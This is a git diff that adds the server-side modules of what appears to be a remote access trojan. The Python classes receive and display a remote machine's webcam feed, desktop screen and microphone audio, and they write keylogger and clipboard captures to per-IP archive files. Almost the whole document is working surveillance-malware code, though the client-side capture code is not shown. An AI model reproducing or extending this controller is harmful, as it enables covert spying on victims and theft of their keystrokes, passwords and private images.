5 files changed, 298 insertions, 0 deletions
diff --git a/server/modules/audio.py b/server/modules/audio.py
new file mode 100644
index 0000000..6938606
--- /dev/null
+++ b/server/modules/audio.py
@@ -0,0 +1,53 @@
+'''
+    Handles the audio stream module connection.
+    Setting up the output stream & making sure
+    it's cleaned up from memory & data structures.
+    Independent of failure or success.
+
+    Verified: 2021 February 7
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+    * Third Party Modules
+        * pyaudio
+'''
+
+from server.modules.module import Module
+from shared.helper import Helper
+from server.state import Dynamic
+from shared.error import Error
+from shared.data import Data
+
+import pyaudio
+
+
+class Audio(Module):
+
+    def __init__(self, conn, token, connect_ip):
+        super().__init__(conn, token, connect_ip)
+        self.__audio = pyaudio.PyAudio()
+
+    @Error.quiet_thread
+    def __recv(self, channels, rate):
+        try:
+            try:
+                stream = self.__audio.open(format=pyaudio.paInt16,
+                                           channels=channels, rate=rate,
+                                           frames_per_buffer=Data.BUFFER_SIZE,
+                                           output=True)
+
+                try:
+                    with self.conn as sock:
+                        while True:
+                            stream.write(Data.recv(sock, True, False))
+                            Data.send(sock)
+                finally:
+                    stream.stop_stream()
+                    stream.close()
+            finally:
+                self.__audio.terminate()
+        finally:
+            del Dynamic.MODULES[self.token]
+
+    def live(self, *args):
+        Helper.thread(self.__recv, *args)
diff --git a/server/modules/desktop.py b/server/modules/desktop.py
new file mode 100644
index 0000000..d7dea21
--- /dev/null
+++ b/server/modules/desktop.py
@@ -0,0 +1,69 @@
+'''
+    Handles the desktop stream module connection.
+    Displaying the images using the opencv-python
+    library & allowing some interactions with
+    the window.
+
+    Verified: 2021 February 7
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+    * Third Party Modules
+        * opencv-python
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import numpy
+import time
+import cv2
+
+
+class Desktop(Module):
+
+    def __init__(self, conn, token, connect_ip):
+        super().__init__(conn, token, connect_ip)
+        self.__fps = True
+
+    @Error.quiet_thread
+    def __recv(self):
+        try:
+            with self.conn as sock:
+                title = '{} {} {}'.format(
+                    self.connect_ip, ServerStatic.SEPERATOR, self.token)
+                cv2.namedWindow(title, cv2.WINDOW_NORMAL)
+                cv2.resizeWindow(title, *ServerStatic.WINDOW_SIZE)
+
+                while True:
+                    if self.__fps:
+                        timer = time.time()
+
+                    frame = Data.recv(sock, True, False)
+                    frame = numpy.frombuffer(frame, numpy.uint8)
+                    frame = cv2.imdecode(frame, cv2.IMREAD_UNCHANGED)
+
+                    if self.__fps:
+                        cv2.putText(frame, f'{1 / (time.time() - timer):.2f}',
+                                    (10, 25), cv2.FONT_HERSHEY_SIMPLEX,
+                                    0.8, (128, 0, 0), 2)
+
+                    cv2.imshow(title, frame)
+
+                    key = cv2.waitKey(25) & 0xFF
+
+                    if key == ord('q'):
+                        raise SystemExit
+
+                    if key == ord('f'):
+                        self.__fps = not self.__fps
+
+                    Data.send(sock)
+        finally:
+            del Dynamic.MODULES[self.token]
+
+    def live(self):
+        Helper.thread(self.__recv)
diff --git a/server/modules/logger.py b/server/modules/logger.py
new file mode 100644
index 0000000..4adaf79
--- /dev/null
+++ b/server/modules/logger.py
@@ -0,0 +1,56 @@
+'''
+    Handles the keylogger & clipper stream module
+    connections. Simply writes to files logging
+    the data sent from the client in intervals.
+
+    Verified: 2021 February 7
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from server.helper import ServerHelper
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import os
+
+
+class Logger(Module):
+
+    def __init__(self, logger_type, conn, token, connect_ip):
+        super().__init__(conn, token, connect_ip)
+        self.__module = logger_type.capitalize()
+        self.__logger_type = logger_type
+
+    def __str__(self):
+        return self.__module
+
+    @Error.quiet_thread
+    def __recv(self):
+        try:
+            with self.conn as sock:
+                dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+                                       self.safe_connect_ip,
+                                       self.__logger_type)
+                filepath = os.path.join(
+                    dirpath, ServerHelper.filename('txt'))
+
+                while True:
+                    data = Data.recv(sock, True)
+
+                    if data:
+                        if not os.path.isdir(dirpath):
+                            os.makedirs(dirpath, exist_ok=True)
+
+                        Helper.write_file(filepath, data)
+
+                    Data.send(sock)
+        finally:
+            del Dynamic.MODULES[self.token]
+
+    def live(self, *args):
+        Helper.thread(self.__recv, *args)
diff --git a/server/modules/module.py b/server/modules/module.py
new file mode 100644
index 0000000..1768416
--- /dev/null
+++ b/server/modules/module.py
@@ -0,0 +1,46 @@
+'''
+    A shared class among all modules to all
+    have the same core identifying features
+    when interacted with.
+
+    Verified: 2021 February 7
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+'''
+
+from server.helper import SafeIP
+from server.state import Dynamic
+from shared.error import Error
+
+
+class Module:
+
+    def __init__(self, conn, token, connect_ip):
+        Dynamic.MODULES[token] = self
+        self.__conn = conn
+        self.__token = token
+        self.__connect_ip = SafeIP(connect_ip)
+
+    def __str__(self):
+        return type(self).__name__
+
+    @property
+    def safe_connect_ip(self):
+        return self.__connect_ip.safe
+
+    @property
+    def connect_ip(self):
+        return self.__connect_ip.pure
+
+    @property
+    def token(self):
+        return self.__token
+
+    @property
+    def conn(self):
+        return self.__conn
+
+    @Error.quiet
+    def close(self):
+        self.__conn.close()
diff --git a/server/modules/webcam.py b/server/modules/webcam.py
new file mode 100644
index 0000000..d3a961d
--- /dev/null
+++ b/server/modules/webcam.py
@@ -0,0 +1,74 @@
+'''
+    Handles the webcam stream module connection.
+    Displaying the images using the opencv-python
+    library & allowing some interactions with
+    the window.
+
+    Verified: 2021 February 7
+    * Follows PEP8
+    * Tested Platforms
+        * Windows 10
+    * Third Party Modules
+        * opencv-python
+        * numpy
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import numpy
+import time
+import cv2
+
+
+class Webcam(Module):
+
+    def __init__(self, conn, token, connect_ip):
+        super().__init__(conn, token, connect_ip)
+        self.__fps = False
+        self.__flip = 0
+
+    @Error.quiet_thread
+    def __recv(self):
+        try:
+            with self.conn as sock:
+                title = '{} {} {}'.format(
+                    self.connect_ip, ServerStatic.SEPERATOR, self.token)
+
+                while True:
+                    if self.__fps:
+                        timer = time.time()
+
+                    frame = Data.recv(sock, True, False)
+                    frame = numpy.frombuffer(frame, numpy.uint8)
+                    frame = cv2.imdecode(frame, cv2.IMREAD_UNCHANGED)
+                    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
+                    frame = cv2.flip(frame, self.__flip)
+
+                    if self.__fps:
+                        cv2.putText(frame, f'{1 / (time.time() - timer):.2f}',
+                                    (10, 25), cv2.FONT_HERSHEY_SIMPLEX,
+                                    0.8, (128, 0, 0), 2)
+
+                    cv2.imshow(title, frame)
+
+                    key = cv2.waitKey(25) & 0xFF
+
+                    if key == ord('q'):
+                        raise SystemExit
+
+                    if key == ord('f'):
+                        self.__fps = not self.__fps
+
+                    if key == ord('t'):
+                        self.__flip = int(not self.__flip)
+
+                    Data.send(sock)
+        finally:
+            del Dynamic.MODULES[self.token]
+
+    def live(self):
+        Helper.thread(self.__recv)